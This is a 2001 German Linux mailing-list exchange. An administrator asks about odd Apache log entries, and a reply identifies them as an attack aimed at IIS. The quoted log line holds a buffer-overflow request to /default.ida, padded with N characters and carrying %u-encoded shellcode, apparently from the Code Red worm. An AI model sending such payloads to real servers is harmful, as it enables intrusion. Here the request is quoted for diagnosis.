linux-l: Apache-Log - - - sonderbar

Anselm Hinderling aha at absinth.net
Do Aug 2 20:30:41 CEST 2001


+++ "Dr. Bernd Freistedt" <bf at obelix.bfrei.net> +++ 2001-08-02 19:31 +0200 +++
> in access_log finde ich (jetzt haeufig) Eintraege in der Art:
> 
> 
> 
> 211.234.52.36 - - [02/Aug/2001:19:00:15 +0200] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u780
> 1%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u81
> 90%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  
> HTTP/1.0" 400 322 "-" "-"
> 
> Kennt jemand so etwas?

hamm wir hier auch seit einiger zeit. scheint ein problem
für IIS darstellen zu sollen, vgl.

http://www.astalavista.com/exploits/iis/buffer2.shtml

gruss,
		anselm.




Mehr Informationen über die Mailingliste linux-l